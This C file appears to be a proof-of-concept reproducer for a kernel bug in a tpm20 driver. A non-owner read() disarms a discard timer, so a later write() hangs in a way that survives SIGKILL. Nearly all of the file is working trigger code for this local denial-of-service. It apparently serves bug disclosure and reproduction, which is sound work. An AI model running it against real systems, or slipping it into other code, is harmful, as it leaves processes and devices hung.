DF-5007 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-5007 PoC: unkillable write(2) hang after a non-owner read() disarms * the tpm20 discard-buffer callout (tpm20.c:78 callout_stop precedes the * tpm20.c:80 owner check). * * ARM 1 (control): write; let the 0.5 s discard timer fire (dmesg "User * failed to read buffer in time"); write again -> completes -> proves the * timer normally recovers the device. * ARM 2 (bug): write (pending>0, timer armed); a NON-owner reader gets * EPERM but disarms the timer; wait past the deadline (no dmesg message); * fork a victim that write()s -> blocks forever in cv_wait (no PCATCH); * SIGKILL it -> still stuck (waitpid WNOHANG == 0) -> unkillable hang. * * Needs root: /dev/hangsim0 is 0600 root:wheel (TPM_CDEV_PERM_FLAG). */ #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> static const unsigned char cmd[12] = { 0x80, 0x01, /* TPM_ST_NO_SESSIONS */ 0x00, 0x00, 0x00, 0x0c, /* length 12 */ 0x00, 0x00, 0x01, 0x31, /* TPM_CC_CreatePrimary */ 0x00, 0x00 }; static void arm1_control(int fd) { ssize_t r; r = write(fd, cmd, sizeof(cmd)); printf("ARM1 write#1 rc=%zd\n", r); fflush(stdout); sleep(2); /* discard timer (0.5 s) fires here -> dmesg msg */ r = write(fd, cmd, sizeof(cmd)); printf("ARM1 write#2 rc=%zd (timer cleared pending -> no hang)\n", r); fflush(stdout); sleep(2); r = write(fd, cmd, sizeof(cmd)); printf("ARM1 write#3 rc=%zd (pending now set, timer armed)\n", r); fflush(stdout); } int main(void) { char buf[64]; int fd, st; pid_t pid, w; ssize_t r; setvbuf(stdout, NULL, _IOLBF, 0); fd = open("/dev/hangsim0", O_RDWR); if (fd < 0) { perror("open /dev/hangsim0 (must run as root)"); return (1); } arm1_control(fd); /* ARM 2: non-owner read -> EPERM, but callout_stop already ran */ pid = fork(); if (pid == 0) { int cfd = open("/dev/hangsim0", O_RDWR); r = read(cfd, buf, sizeof(buf)); printf("ARM2 non-owner read rc=%zd errno=%d (EPERM=%d)\n", r, errno, EPERM); _exit(0); } wait(NULL); printf("ARM2: timer should now be DEAD; sleeping past the 0.5s deadline\n"); sleep(2); /* victim writer: blocks forever in tpm20_write cv_wait loop */ pid = fork(); if (pid == 0) { int cfd = open("/dev/hangsim0", O_RDWR); printf("ARM2 victim pid=%d write starting\n", getpid()); r = write(cfd, cmd, sizeof(cmd)); printf("ARM2 victim write rc=%zd errno=%d (UNEXPECTED!)\n", r, errno); _exit(0); } sleep(5); printf("ARM2: SIGKILL victim %d\n", pid); kill(pid, SIGKILL); sleep(3); w = waitpid(pid, &st, WNOHANG); if (w == 0) { printf("RESULT: VICTIM %d STILL STUCK AFTER SIGKILL " "-> unkillable hang REPRODUCED\n", pid); return (42); } printf("RESULT: victim exited (w=%d st=%d) -> NOT stuck\n", w, st); return (1); } |